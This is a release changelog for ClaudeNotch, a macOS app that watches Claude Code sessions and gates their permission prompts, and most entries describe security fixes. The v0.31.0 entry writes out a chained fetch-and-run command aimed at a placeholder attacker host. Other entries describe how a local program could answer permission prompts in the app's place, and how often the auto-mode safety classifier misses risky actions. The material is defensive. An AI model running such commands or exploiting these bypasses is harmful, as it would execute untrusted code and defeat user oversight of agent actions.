Changelog
What's new in ClaudeNotch
Every release and what changed. Grab the latest build any time from the releases page.
v0.36.0
September 7, 20263 fixed4 added1 changed- 1/3
A question you answer late no longer disappears into nothing.
Claude stops waiting after about five minutes and asks again wherever the session is actually running, which may be your terminal, the VS Code extension, or a cloud session. Until now the card stayed on screen looking perfectly answerable: you picked your answers, pressed Send, and nothing happened, because there was no longer anything listening, and then the same question was waiting for you somewhere else. The card now says so. It turns amber, explains where the question went, and drops the Send button rather than pretending it can still deliver.
- 2/3
Permission cards do the same thing, and that half matters more.
An Allow that quietly did nothing is confusing; a Deny that quietly did nothing reads as "I stopped that" when the tool call had already been decided somewhere else.
- 3/3
The activity log records a settings change once instead of twice.
Every edit to a file that decides what an agent may do, your settings, a project's settings, a managed policy, was being filed as two identical entries a fraction of a second apart. The log exists to be scanned for exactly those changes.
- 1/4
A question card can be put away and picked up again.
A plan with five questions of four options each is taller than the screen, and there was no way to set one aside and come back to it. The shrink button at the top right of the card tucks it away without answering. The notch grows a small purple stub on its left to say one is still waiting, and clicking that opens it back up. The session keeps waiting the whole time, so nothing is lost by putting it down.
- 2/4
While a question is put away, the notch will not open on hover.
Brushing the cursor past the top of the screen used to bury the thing you still had to answer under the session list and the meters.
- 3/4
The notch says when a session changes model, as it happens, rather than noticing whenever some later tool call mentioned which model was running.
Optionally it can hold the switch for your approval: off by default, in Settings under Privacy and permissions, and only for a move up to a more expensive family. Switching down, or between versions of one family, is never held.
- 4/4
A sample question card in the demos, so all of this can be tried without a real session waiting on you.
Menu bar Demos, or Settings, Developer.
- 1/1
Installing and updating are checked from the outside before a release is called done, and quitting the app from a script now actually quits.
Both were silent failures. A mismatched checksum stops brew and Update Now with nothing visible from our side until somebody says so, and a quit that reported success without quitting is how a test build once ran for hours against code that had already moved on.
v0.35.1
September 3, 20261 fixed- 1/1
Update Now no longer refuses a perfectly good download in the minutes right after a release.
Before it installs anything it checks the file against the checksum published alongside the release, and it was reading that checksum from a cache that can lag a few minutes behind. Inside that window it was comparing a new download against the previous release's number, deciding they disagreed, and stopping. It was right to stop on what it had been told; what it had been told was out of date. The checksum now comes from a source that is not cached, with the cached one kept only as a fallback for when that cannot be reached.
v0.35.0
September 3, 20263 added2 fixed1 changed- 1/3
The notch says when a session changes model.
Claude Code reports a mid-run switch outright now, so a /model change shows up as one line the moment it happens. Before this the notch found out only when some later tool call happened to mention which model was running, and until then the session list named the old model and the cost meter counted the spend against it.
- 2/3
Optional: hold a switch to a pricier model for your approval.
Off by default, in Settings under Privacy and permissions. With it on, a session moving up to a more expensive family, sonnet to opus say, raises a card and waits for your answer before the switch happens. Only upgrades are held. Switching down, or between versions of one family, goes straight through, because those do not cost more, and a gate that fires on changes that cost nothing is one you would rightly turn off.
- 3/3
Everything that gate cannot decide lets the switch through.
A dismissed card, a timeout, a model it does not recognise, the setting being off: all of them behave exactly as if no gate existed. Your own /model in your own terminal should never end up stuck behind a card you are not looking at.
- 1/2
A settings change is recorded once in the activity log, not twice.
Every edit to a file that decides what an agent may do, your settings, a project's settings, a managed policy, was being filed as two identical entries a fraction of a second apart. The log exists to be scanned for exactly those changes, so duplicating precisely them was the worst half to get wrong.
- 2/2
Setting up before installing the app no longer leaves you with an incomplete set of hooks.
Hooks are wired into settings.json either by the app or, on a machine that does not have it yet, by a shell script, and the two lists had drifted apart. Updating also refreshes the hook list for people who installed earlier, instead of new events only ever reaching fresh installs.
- 1/1
Installing and updating are now checked from the outside before a release is called done.
The Homebrew formula carries a checksum for the file it installs, and that file can be replaced after the formula is written. When the two disagree, brew refuses to install and Update Now refuses to update, and nothing on our side shows it until somebody says so. The checksum is taken from the published download now, verified against it, and confirmed again afterwards, and a release that fails that check fails outright rather than being announced.
v0.34.0
September 1, 20263 changed3 added1 fixed- 1/3
Update Now proves the download came from us before it replaces the app.
It now checks that the new copy is signed by an Apple-issued certificate belonging to the same developer as the copy you already have, and that Apple notarized it, and refuses to install it otherwise. Until now it compared the name on the signature as text, which was the strongest check available while the app was self-signed. Anyone can name a certificate whatever they like; nobody outside the team can produce a bundle that satisfies the real check. The thing being replaced when you update is the app that decides what an agent may run on your machine, so it is worth that step being the hard-to-fake one.
- 2/3
Nothing we publish will ask you to click past Gatekeeper again.
The install steps on this site, in the README, in the app and in the Homebrew instructions all still walked you through Open Anyway, left over from before the app was notarized. They are gone. A copy of ClaudeNotch that makes macOS complain is now a copy that did not come from us, and that is only a useful signal if we never publish the workaround alongside it. To check any copy yourself, spctl -a -vvv /Applications/ClaudeNotch.app should report source=Notarized Developer ID.
- 3/3
Your Accessibility and Input Monitoring grants survive updates from here on.
macOS remembers those against the app's code signature, and every build now carries the same Developer ID identity rather than one regenerated per build, so you grant them once instead of again after each update.
- 1/3
A release now refuses to publish rather than quietly shipping something Gatekeeper would block.
Notarizing used to be skipped with a one-line note when the credentials were missing, which meant the tag, the Homebrew formula and the download could all go out around a file every user would be warned about. It stops before touching anything now.
- 2/3
One command checks that a build is actually distributable, and both the release script and CI refuse to publish if it fails.
It asserts fifteen properties of the bundle: the signing identity and team, the hardened runtime, a timestamp that outlives the certificate, the entitlements, the reasons shown in the macOS permission prompts, a stapled notarization ticket, and that the hooks, the ten translations and the URL scheme really are inside. Signing can succeed and still leave the app broken in ways that produce no error anywhere, which is how a build carrying no entitlements at all nearly shipped.
- 3/3
The signing and notarization setup is written down, in SIGNING.md, including what to do when the certificate expires in 2031, when the app-specific password is revoked, and what a change of developer team would cost every existing install.
- 1/1
The disk image is signed again, not only the app inside it.
Cutting this release produced a DMG that was notarized and stapled and carried no signature at all: two scripts had drifted apart, one of them having grown a default signing identity the other did not read. Apple notarizes that without complaint, because the app inside is what it inspects, so every step reported success and the failure only surfaced at the final Gatekeeper check. The two now read the same identity from one place, and the check that caught it says what went wrong instead of stopping mid-run.
v0.33.0
August 29, 20264 added2 fixed- 1/4
The app is notarized by Apple.
Downloading it no longer produces the warning that Apple could not verify it is free of malware, and there is no longer a trip through System Settings to Privacy and Security to allow it to run. Download the DMG, drag it to Applications, open it. That is the entire install now, and it is what the last several releases have been building toward.
- 2/4
Two consequences follow, and both are things you would already have noticed.
The pause after every update, where the notch received nothing for the better part of a minute and Claude Code printed a connection error for every hook it fired, is gone: that was macOS assessing an app it could not verify, and there is nothing left to assess. And because the app is now signed with one stable identity rather than a throwaway one regenerated on every build, macOS stops treating each update as a different app, so Accessibility permission is granted once rather than asked for again after updates.
- 3/4
Releases can be built and notarized on CI rather than on a laptop.
A release no longer depends on one machine's keychain, one person's Apple session, or that person being awake, and the file people download is built from exactly the commit its tag points at by something anyone can inspect.
- 4/4
The project opens in Xcode.
tools/xcode.sh generates the project from a definition in the repository and opens it, which makes editing, debugging and breakpoints available for the first time. The project file itself is deliberately not committed, because it lists every source file individually and would go stale the moment one was added. build.sh remains what produces a release.
- 1/2
The app can still drive your terminal once notarized.
Signing for distribution requires the hardened runtime, and under the hardened runtime an app may not send events to another application unless it declares that it needs to. Nothing declared it. The first notarized build would therefore have shipped with resume session, send message and run compact silently unable to reach Terminal, with no error anywhere to explain why. Found while wiring up signing and fixed on the same commit that made it visible, which is the only reason it is a footnote rather than a bug report.
- 2/2
Clicking a file the agent edited no longer opens two kinds of file that act on open rather than showing you something.
The check in front of that already refused folders, which covers app bundles, anything carrying the execute bit, which covers scripts, and a list of formats whose default handler does something when opened. That list described the risk exactly and still missed .inetloc and .fileloc, which are the same kind of internet-location file as .webloc under different extensions, and the former is the one that has actually been used to run a command.
v0.32.0
August 26, 20265 added1 fixed- 1/5
The notch says how much ran without anyone being asked.
Auto mode became Claude Code's default permission mode on 14 August: a separate classifier reviews each action instead of stopping to ask you, and it is markedly better at the job than the people it replaced, catching a deliberately dangerous command 89% of the time against 13.6% for the humans in Anthropic's own test. This does not argue with that. What nothing reports is the remainder, and Anthropic publishes a 17% false-negative rate on genuinely overeager actions, the classifier finding approval-shaped evidence without checking the blast radius of what it is approving. You are told neither which actions those were nor how many went by at all. After fifty actions in a session that never prompted you, the notch says so once. It makes the case for auto mode while it does so, because a card that reported only the alarming half would be lobbying against a setting that is measurably safer than what it replaced. This also settles a question about the app's future: hook events run before the permission system, so the notch still sees every tool call even when nothing is ever prompted.
- 2/5
It tells you when a session changed code and never checked it.
No tests, no build, nothing that could have failed. An agent stops when the work looks done, and without a check it can run, looking done is the only signal it had, so a session that edited nine files and ran nothing is unverified rather than finished, and from the outside those look the same. A build counts as well as a test suite: weaker evidence, and it still has the property that matters, which is that it can say no. Three edited files before it says anything, once per session, because a one-file change with an obvious diff is exactly where running the suite is overkill and a nudge there is how people learn to ignore nudges.
- 3/5
It notices when two sessions are working in the same checkout at once.
Running several sessions in parallel is the most recommended way to get more out of these tools, and this is the specific way it goes wrong: both edit the same files underneath each other, one reads a file while the other rewrites it, and nothing errors. The work simply disagrees with itself. Sessions already in their own worktree are excluded, since that is precisely the thing being recommended and telling somebody who took the advice to take it again is how a fair point becomes noise. The card carries the honest limit as well: a worktree separates files, but not ports, databases, or environment, and discovering that by running two dev servers on one port is how people learn to distrust the advice.
- 4/5
It says when a project's CLAUDE.md has grown long enough to be skimmed, or emphasises so many lines that none of them stands out.
Both are checkable without understanding a word of the content: one is a length, the other a count of shouting. Both bars sit well above the usual recommendation rather than at it, because the cost of being wrong here is telling somebody their careful, correct file is a problem.
- 5/5
It points out an MCP server doing a job your machine already has a command for.
Where a CLI exists it is the more efficient way in, because the model already knows the tool or can read its help, while a server spends context on tool definitions in every session whether or not it gets used. Two conditions, both required: the session actually used the server, and the matching command is installed here. Recommending a command you do not have is homework, not advice.
- 1/1
A build command has to start a line to count as one.
The new unverified-session check looked for a build anywhere in the command text, so `echo make believe` counted as running a build, because "make " appears inside it, and a session that had verified nothing could be treated as verified. Matching now happens against the start of each command in a line, split on the shell separators first so that a build reached after a directory change still counts. Caught by its own test before it reached anyone.
v0.31.2
August 25, 20264 fixed1 changed- 1/4
The notch answers again the moment it restarts, instead of forty seconds later.
Every update left the app deaf for about that long, and Claude Code printed a connection error for every hook fired in the gap. Two earlier guesses blamed macOS code signing; both were wrong, and measuring afterwards contradicted them. The cause was in this app. The hook socket asked for no address reuse at all, on the reasoning that a listening socket never enters TIME_WAIT. That is true and beside the point: every connection the listener accepts enters TIME_WAIT carrying the same local port, so an app that had answered even one hook could not take its port back until the kernel released them, and the retry schedule turned that wait into roughly forty seconds. Measured with twenty-eight such entries outstanding, a restart now reaches the listening socket in 0.4 seconds. The other reuse setting, the one that would let a second program bind the same port and answer permission prompts in this app's place, stays off, and the tests that prove it still pass.
- 2/4
The file holding the hook token is no longer world-readable.
Installing the hooks writes a shared secret into the Claude Code settings file as part of the hook URL, and neither the installer nor the uninstaller set a mode on what they wrote, so that file and the backups taken alongside it sat at whatever the system default happened to be. Nothing could reach them on a normal machine, because the folder above them is private, but that protection belongs to the folder rather than to this app: a restored backup, a different default, or a synced home directory would expose the token, and that token is the only thing standing between another program running as you and answering permission prompts as though it were the notch.
- 3/4
Two more link-file types are revealed in Finder rather than opened.
Clicking a file the agent edited hands it to the launcher, and the check in front of that already refused folders, which covers app bundles, anything with the execute bit, which covers scripts, and a list of formats whose default handler acts on open instead of showing you the file. That list named the risk exactly and still missed two cases: .inetloc and .fileloc are the same kind of internet-location file as .webloc under different extensions, and .inetloc is the one that has actually been used to run a command by pointing it at a file:// URL that opens without asking.
- 4/4
The website stopped serving last month's release notes.
The changelog page had said 0.30.0 since the twentieth while two releases shipped, because the entries were written and built in the repository that holds the site's source rather than the one GitHub Pages actually serves. Both missing releases are now on it.
- 1/1
Opening the site costs about a megabyte instead of ten.
Every clip on the front page and on the videos page was an autoplaying video, so arriving at either downloaded the whole clip library whether or not you watched any of it. Tiles now show a still frame taken from the clip's own first frame and fetch the video when you point at one, which is also when a preview is any use. All the still frames together come to less than three hundred kilobytes against nearly ten megabytes of video.
v0.31.1
August 24, 20262 fixed- 1/2
A usage window that has already reset stops being reported as live.
Claude Code only pushes a status line while a session is actively redrawing, so the moment you stop working the last reading just sits there, and nothing ever invalidated it. The log on my own machine has a reading taken at 07:37 saying the five-hour window resets at 07:40, and then nothing at all until 05:28 the next morning: for twenty-two hours the app was holding a reset instant that had already passed. A past instant renders as the word "now", so the card announced that a window would reset now when it had in fact reset hours earlier, which is exactly backwards for the one decision that reading exists to inform, namely whether it is worth waiting it out. Expired windows are now dropped on every status line, on the twenty-second tick, and once at launch so a reading restored from the previous run is not painted first. Both halves go, not only the date: a percentage measured inside a window that has ended says nothing about the one running now, and clearing the date alone would have promoted a stale number into a current-looking one, since the bars use the reset instant to decide whether a reading is still live. An expired window now reads as unknown until a real reading arrives.
- 2/2
Installing no longer breaks the app's own code signature.
The installer stamped a source fingerprint inside the app bundle so that an install which would change nothing could skip the swap and the restart it costs, and it wrote that file after the bundle was signed. Every install therefore left an app whose seal no longer matched, which codesign reports as a sealed resource being missing or invalid. That is worse than being unsigned, and it matters most on somebody else's Mac, where a broken seal is the thing Gatekeeper refuses hardest. The stamp now lives beside the app's other state rather than inside the bundle, nothing is written into a signed app after signing, and an install made by the older scheme repairs itself on the next run. Worth being clear about what this did not fix: it does not shorten the delay before the app starts answering hooks again after an update. That was the assumption when the fix went in, and measuring it afterwards contradicted it, so the claim was withdrawn rather than left standing. That delay is the assessment an unnotarized app gets, and only notarizing removes it.
v0.31.0
August 23, 20264 added1 fixed- 1/4
The notch says when your session's model drops under you.
Opus falls back to Sonnet on a cap, a new session starts on Sonnet despite Opus being the one you chose, re-authenticating moves you down, an account is served Haiku for hours. Every account of this carries the same sentence in some form: there was no notification, and no clear indication of which model was actually active. The app already knew, since it refreshes the model from the status line every turn; it had simply never compared that against what it was a moment before. It is deliberately narrow, because the failure mode here is crying wolf. Only a drop in tier counts, so a version bump inside a family is not a drop and moving up is not news, and a model it cannot rank produces nothing at all rather than a guess about where that model sits. The card also does not claim a reason: a drop can be a plan cap or your own /model, the app cannot tell which, so it names both instead of picking the alarming one.
- 2/4
A session stuck repeating itself is now counted out loud.
The shape people report is a few hundred dollars burned across an afternoon on something like a hundred near-identical calls, none of it noticed until the bill, because there is no circuit breaker and no per-session ceiling anywhere in the loop. The notch sees every tool call, which makes it the one place that can count them. Nothing is stopped, and deliberately so: ending somebody's session on a heuristic is a far worse failure than letting a loop run one more minute. It says the number and nothing else. The bar is forty identical calls, which sits above honest iteration, since re-running one test command while chasing a fix reaches double digits legitimately and a card that fires on that is a card everybody switches off. Editing one file forty times counts; reading forty different files does not.
- 3/4
Teammates show up in the notch.
Claude Code grew a teammate system: named persistent agents, each in a tmux pane of its own, with a roster and a mailbox. They are not subagents, which return into the conversation that spawned them. A teammate sits in its own pane and can be idle for twenty minutes with nothing on screen saying so, and a pane does not report the status of the agent inside it. That is the problem this app already exists for, one level out: the most repeated complaint about running several sessions is that one of them is always waiting on you and you never saw it. The event existed in Claude Code and was registered by nothing here, so it was arriving nowhere.
- 4/4
Worktrees appearing are announced, and worktrees going are written to history.
Parallel checkouts are how people run several agents at once without them colliding on files, and the cost every account of them mentions is losing track of which checkout is which. The card names the caveat people otherwise discover the hard way: a worktree isolates files, but not ports, databases, or environment. Removal is logged rather than carded, because it usually happens right after the work in it was merged, which is the least welcome moment for an interruption, and there is nothing to act on.
- 1/1
An allow rule written for one command no longer approves a line that runs several.
The general form of this is a known trap with allowlists: permit "git status", and "git status && curl evil.com | sh" comes along for the ride. It is worth being exact about where this app was actually exposed, because it was not everywhere. A rule meaning "always allow exactly this command" is built anchored and could never match a longer line. A tool-wide rule is a blanket you asked for on purpose, and Strict Mode is the answer to that one. The hole was hand-written regexes in the rules editor, which were matched loosely, so a rule reading "git status" really did match the whole chained line. Such a match now refuses the silent approval and shows the card instead. The command is not blocked and you still decide; you simply get asked, which is what the rule you wrote was supposed to mean. Quoting is not parsed, so a command with an operator inside quotes counts as chained and costs one extra prompt, because being wrong the other way costs a silent approval.
v0.30.0
August 20, 20265 added2 fixed- 1/5
Hooks now carry a shared secret, so not every program on your Mac can pretend to be Claude Code.
The port this app listens on accepted anything that could reach it, and on a developer machine that means every process running as you: enough to invent a session, fake activity, or put a card in front of you that looks like Claude asking for permission and read whatever you answer. The hook URL now carries a token which the app checks on every request. Said plainly, because this is easy to oversell: a program determined to find that token can read it, since it lives in a settings file your own account owns. What it stops is the casual version of the problem, another account on the same Mac, and anything that has not gone looking for it, and it turns a payload arriving without one from a normal event into something the app can notice. The check switches itself on only when the URL Claude Code is actually posting to carries a token, so an install that has not been re-run keeps working exactly as before instead of going deaf, which is the one outcome a feature like this must never produce.
- 2/5
The notch says when your organisation has restricted this Mac, or is watching it.
Claude Code keeps a managed-policy file that nothing has ever surfaced. On a personal Mac this shows nothing at all. On a company Mac it answers the question this app exists for, one level up: not what an agent may do inside this project, but what somebody above you has already decided, and whether these sessions are being recorded. A monitoring notice in particular is something a person should be told plainly and once, rather than discover later. Only real restrictions are listed, and a policy entry the app cannot parse is not treated as a restriction, because telling you a machine is locked down when it is not is the same size of mistake as missing a lock.
- 3/5
Sessions record which instruction files are shaping them.
Every CLAUDE.md, imported memory file and glob match that Claude Code pulls in is now listed against the session that loaded it. What an agent has been told is as much a part of what it may do as its permissions are, and the interesting case is the file that arrives halfway through a session, because by then the startup output where it would have scrolled past is long gone.
- 4/5
The task meter reads Claude Code's own task list from disk.
The task hooks only describe what happened while this app was running and listening; the directory on disk describes what is true, which is what a session resumed after a restart, or one whose hooks were never installed, actually needs. It also carries the dependency edges between tasks, so a task waiting on another can be told apart from one nobody has started. This does not bring the meter back on the newest models, which no longer have the to-do tools at all: it makes the meter right when there is something to be right about.
- 5/5
The notch notices when the working tree moves under an agent.
A file changing that Claude did not change is usually you editing in another window, a branch switch, or a build writing output, and it is how an agent ends up reasoning carefully about a file that no longer says what it read. Counted quietly rather than announced, because a card for every file would be noise during an ordinary build and the count is the part worth looking at.
- 1/2
A usage limit that lifts without the task restarting is now reported.
The resume notice added last release is driven by the session doing something, which covers every case except the one that matters most, because nothing happening is not an event and so nothing was watching for it. Ten minutes past the reset with no sign of life now raises a card, ten minutes because the reset time is approximate and a warning fired at a session about to wake up on its own would be worse than none. It names both explanations, since from the notch they are indistinguishable: Claude Code was closed, or continuing automatically is switched off and the terminal is holding a dialog waiting for you.
- 2/2
A merge request is called a merge request.
Claude Code resolves the open review for your branch and reports GitHub pull requests and GitLab merge requests through the same fields, so the data was already arriving; the chip simply called all of it a pull request and drew "#42" beside a pull-request icon, which on GitLab is a label for something that does not exist there. GitLab now gets !42 and a merge icon, Bitbucket and GitHub keep #42, and the host is read from the URL path rather than guessed from the domain, so a self-hosted GitLab with nothing in its hostname is still recognised.
v0.29.0
August 20, 20265 fixed1 changed- 1/5
The updater refuses to install anything it could not verify.
It fetched the checksum published alongside each release, and if that one request failed it printed a line saying so and installed the download anyway. Anyone in a position to serve a bad disk image is also in a position to make one request fail, so failing that request was the entire bypass; it now stops and points at Homebrew instead. Two more in the same script, which matters because its job is to replace the app that decides what an agent may run on your Mac. It deleted the installed copy before copying the new one, so a copy that failed halfway left no app at all in Applications, turning a failed update into a lost install; the new version is now staged beside the old one and swapped, and a failure at any step puts the previous version back. And it installed whatever the disk image happened to contain: the checksum ties the download to what was published, but says nothing about the app inside being the same app, so the incoming bundle now has to carry the same signing identity as the one it is replacing.
- 2/5
ClaudeNotch waits for its port instead of giving up on it.
The port is busy at exactly one predictable moment, while the copy of the app being replaced finishes exiting, and every update and every quick restart passes through that moment. Giving up on the first refusal left the app running deaf, receiving nothing and showing nothing, until somebody noticed and relaunched it by hand. That happened twice here during a single afternoon of testing something unrelated. It now retries every couple of seconds, takes the port within moments of it coming free, and says nothing at all about a conflict that resolves itself, because a warning that appears on every ordinary relaunch is noise about the one thing that has to mean something when it appears.
- 3/5
Your Claude Code settings are no longer copied to disk on every launch.
Installing the hooks is idempotent and runs by itself whenever a release starts listening to a new event, and it wrote a timestamped backup of settings.json regardless of whether anything changed, with nothing to ever remove the copies. One machine had 311 of them, about a megabyte, going back three months. They are not clutter: each is a complete copy of a file that can hold environment values and tokens, and they were readable by anyone else with an account on the Mac. The backup now happens only when the merge is actually about to change something, the five most recent are kept, and they are written so only you can read them, including the ones an older install left behind.
- 4/5
The hooks are installed by one piece of code again.
They were merged into settings.json in two places: by the app, and by a shell script for the case where the app is not on disk yet. Two implementations of one job drift, and these had. The shell copy had fallen ten events behind, missing everything added over recent releases, so anyone who ran setup before installing the app got a hook set from months earlier and only caught up when the app next launched. Setup now asks the app to do the merge, the shell fallback covers only the case it must and registers exactly the same events with the same matchers, and a test compares the two lists on every build so they cannot quietly part company again.
- 5/5
A connection that is never answered no longer holds on forever.
Once a hook request had been read, nothing in the design required an answer, so a path that returned without replying would keep that connection until the app quit. No path actually did that, but only because each of them remembered to, and the next one added would have had to remember too.
- 1/1
Cards that are waiting for you cost the app nothing to hold.
Each waiting card used to occupy one of the app's background threads for as long as it sat on screen, and there are only about sixty-four of those to go around. A busy machine running several sessions with subagents could tie up every one, and at that point everything else the app does in the background stops: no transcript reads, no cost updates, and no further hooks, which is the worst possible thing to happen on the machine you are relying on to show you prompts. Nothing waits now. Eighty cards can be pending at once and an unrelated request is still answered in a hundredth of a second.
v0.28.0
August 19, 20262 added- 1/2
The notch tells you when a task picks up again after a usage limit.
Claude Code 2.1.234 changed what running out of usage means: rather than ending the turn, it waits for the limit to reset and carries the task on by itself. Nothing announces that restart, and by the time a limit lifts you are somewhere else, because being told to stop for several hours is exactly the thing that makes you walk away from the machine. A session that starts working again now raises a card and, when you are away from the Mac, a notification: which project it was, and how long it waited. The restart is worked out from evidence rather than from a clock, since the turn simply continues and no event says so; a session that was waiting and then fires any hook at all has started again, with a few seconds of grace so the stop's own trailing hooks are not mistaken for the restart.
- 2/2
Running out of usage is no longer reported as an error.
It used to raise a red "Session stopped on an error" card, which is the wrong story twice over: nothing is broken, and nothing is being asked of you. It now reads as a pause with a time on it, taken from the real reset timestamp that your Claude Code status line already reports, so the card says roughly what time the work will start again and that there is nothing for you to do. If you have switched off "Continue automatically at usage limit" in Claude Code, the card says the opposite thing, because then the session is not waiting for a clock, it is holding a dialog and waiting for a human. That setting is read from your own configuration rather than assumed, and an absent setting counts as on, matching the CLI's default.
v0.27.1
August 18, 20261 fixed- 1/1
The Setup window no longer makes the app freeze on a Mac that has never run it.
Setup polls the machine twice a second so its checklist ticks itself off as you grant things, and every line of that poll asked a system service from the main thread: two permission lookups, a login-item status that talks to launchd, and, on a Mac without jq on one of the usual paths, an entire subprocess. That is the window's own drawing competing with four system services twice a second. On a machine where all of them are warm it costs nothing, which is why it went unnoticed for so long. On a Mac opening the app for the first time, with no permissions granted yet, no jq, and macOS checking every new binary it runs, it was enough for the app to be reported as not responding before anyone had finished reading the first screen. The checks now happen off the main thread and publish their answers when they arrive, jq is remembered for a few seconds rather than re-checked twice a second, and a value that has not changed no longer redraws anything. Installing the hooks clears what was remembered, since installing is the thing most likely to change the answer.
v0.27.0
August 18, 20263 fixed2 added- 1/3
A link can no longer start an agent behind your back.
The claudenotch:// scheme is how Shortcuts, Raycast and Alfred drive this app, and one of its verbs resumed a session: a terminal opened and a conversation carried on, immediately, on the say-so of whatever opened the URL. A page you merely visit can open one of those, and the browser prompt asking whether to open this app is a habit rather than a decision, so the app was doing a privileged thing on behalf of an untrusted caller. Resuming from a link is now a card you answer. It is marked dangerous, which says nothing about the session and everything about where the request came from: no always-allow rule and no auto-approve mode can answer it for you, and it takes a deliberate hold rather than a reflex click. AppleScript is left immediate, because macOS makes you grant one app permission to drive another explicitly and once, which is a real decision rather than a habit, and every other verb only opens a window this app already owns.
- 2/3
Touch ID says why a confirmation did not go through.
With the Touch ID gate switched on, that sheet is the only way to allow a dangerous command, and three unrecognised fingers locks biometrics out until the Mac is unlocked with a password. The app had asked for the biometrics-only policy, so from that moment the Confirm to Allow button did nothing at all, with no way to tell that from a sheet being slow. The evaluation now asks for device-owner authentication, which is the same sheet plus the system's own password option, and any failure that is not a cancel puts a line on the card saying what happened and what to do about it. Cancelling still says nothing, because that is an answer rather than a failure.
- 3/3
A link that arrives before the app has finished starting no longer quits the app.
macOS hands a URL to an app it has just launched for that purpose, so a claudenotch:// link could land while the notch window and the menu bar were still being built, and reaching for either of them terminated the process. It now does less instead of dying. Found by a test that drove the URL verbs against an app that had not finished launching, which is the same shape as the real thing.
- 1/2
Settings answers whether hooks are actually arriving.
Everything the notch shows comes from hooks that Claude Code fires at it over a loopback socket, none of that is visible, and when nothing appears there was no way to tell a quiet afternoon from a broken pipe. The previous release made a server that failed to start visible; a server that is listening and simply never hears from anyone looked healthy from the inside and was just as useless. One line now says which it is: receiving events and how long ago the last one was, or nothing yet since the app started, or nothing for six hours, or the hooks are not in your Claude Code settings at all, or the server is not listening. The two you can act on say what to do about it.
- 2/2
The claudenotch:// scheme can be switched off.
Its one privileged verb now asks before it does anything, but some people would rather the surface did not exist on their machine, and until now the only way to say so was not to install the app. Settings > Notch, on by default, because the scheme is also how a Shortcut or a Raycast script reaches the notch. Off means nothing a link asks for happens, not even a card.
v0.26.0
August 18, 20265 fixed3 added- 1/5
Another program on your Mac can no longer receive Claude Code's permission prompts.
The hook server asked Network.framework for a listening socket, and that socket carried an option which lets a second process running as the same user bind the same port and take a share of the incoming connections. Those connections include PreToolUse and PermissionRequest, which block until something answers them, so a program doing this could reply "allow" to every tool call while no card ever appeared in the notch, and the app would look like it was simply having a quiet day. That is the one thing this app exists to prevent. The socket is now bound directly, with no sharing options at all and only on the loopback addresses, so a second attempt is refused by the kernel. This was reproduced against a real build before the fix, and the first attempt at fixing it (removing the option from the parameters) was measured and found not to work, because the framework sets it regardless; the fix that shipped is the one that was verified to hold.
- 2/5
The notch says when it is not receiving prompts at all.
A hook server that could not start wrote one line to the system log and changed nothing else: the menu bar icon appeared, the notch behaved, and no cards arrived, which is indistinguishable from an afternoon with nothing happening. It is not the same thing at all, and the reason the port is unavailable may be that another program has it and is answering the prompts that were meant to come here. The menu bar icon now becomes a warning, the menu says so at the top, and a card explains it in words, names the port, and gives you the one command that says which program has it.
- 3/5
A connection that never finishes its request is closed after thirty seconds.
A local program could open a socket, send half a request and hold a file descriptor for as long as it liked, because the parser kept waiting for the rest; enough of those and the app runs out of descriptors, at no cost to whoever did it. Cards that are waiting for you are unaffected, since a blocking hook is supposed to hold its connection while a human decides.
- 4/5
Copy resume command no longer hands you an unquoted shell line.
Every path that runs a resume already quoted its arguments, but the one that copies the command for you to paste did not, and the session id in it arrives from a hook payload or a transcript filename rather than from this app. An id carrying a second command would have run it, as you, on this app's suggestion. It is quoted now, and the tests check it against a real shell rather than against a reading of the escaping rules.
- 5/5
An MCP server cannot flood the elicitation card.
The message, the field labels and every option on that card come from a third-party program you installed, and none of them had a length or a count limit while every other payload-fed list in the app does. Past a cap the question is now declined and handed back to Claude Code's own dialog, which is already a safe answer, rather than truncated: a question nobody could read would otherwise still send back an answer as though they had.
- 1/3
A tool call that fails is no longer invisible.
Claude Code has reported failures for a while and this app never listened, so a session whose every command was failing looked exactly like a session working: the only thing on screen was the name of the tool it had just started. Every failure now goes to the history with the first line of its error, and three failures of the same tool in a row raise a card, because tools fail on purpose all the time and a card for each one is noise you learn to dismiss, while a run of the same failure is a session going in circles with nothing else on screen to say so. The card comes once, at the third, and a tool that works ends the run. Pressing Escape arrives through the same channel and is the one failure that is not one, so it is recorded nowhere: you already know.
- 2/3
The app says why the task meter is empty.
Claude Code 2.1.233 took the to-do tools away from Opus 4.8, Sonnet 5 and newer models unless a setting brings them back, so sessions stopped reporting a checklist and the meter had nothing to draw. An empty meter and a broken feature look identical from the outside. Settings now explains what happened and copies the line that restores it, but only where there is evidence for the claim: a session that has run twenty tool calls without ever once mentioning a task, on a version new enough to have removed them, on a machine where the setting is not already on. An older version is never blamed, because there an empty meter just means the work had no checklist.
- 3/3
Ten more GitLab token formats are redacted from history and exports.
GitLab issues a family of prefixed tokens for runners, deploys, pipeline triggers, agents and more, and this app knew one of them. It matters more here than in a terminal window: history entries are written to disk, kept for five hundred entries, and every CSV and JSON export is built from them, so a token that slipped through outlived the session it appeared in. The patterns stay narrow, so a branch named after one of those prefixes is still a branch.
v0.25.0
August 15, 20265 added3 fixed- 1/5
The notch tells you when Claude Code itself is out of date, and what the update contains.
The app has always known its own version and said nothing about the CLI it exists to watch, which is the one that actually changes under you. It reads the installed version, asks the npm registry for the current one, and works out from the binary's path how you installed it, so the command it offers is the right one for a native, npm or Homebrew install rather than a guess that fails. The card carries the headline changes from the release you are missing, so updating is a decision rather than an obligation, and it stops asking once the update lands.
- 2/5
An MCP server can ask you a question through the notch.
Servers can stop in the middle of a tool call to ask you something, and until now that question sat in a terminal window you were not looking at while the tool call waited. It now arrives as the same card Claude's own questions use, and the answer goes straight back to the server. Only questions a card of buttons can answer honestly are taken: a yes or no, or a pick from a list the server supplied. Free text, numbers and browser sign-in flows are handed back to Claude Code's own dialog untouched, because a card that cannot ask for a typed value should not pretend it can, and an answer is only sent when every field of the request has one and every value is one the server offered. If the question ends anywhere else, cancelled or answered in the terminal, the card comes down by itself instead of waiting five minutes for an answer nobody can give any more.
- 3/5
A forked session is no longer indistinguishable from a resumed one.
A fork is a second copy of a conversation you are probably still sitting in, running in its own worktree and spending its own money, and in the session list it looked exactly like a resume: same project, same branch, same everything, so the two rows read as one session drawn twice. Forks now carry their own chip. It is shown only when that session's Claude Code is new enough to tell a fork from a resume, since older builds call every fork a resume and no chip is the honest answer there.
- 4/5
Sessions show when they have reached their subagent or web search limit.
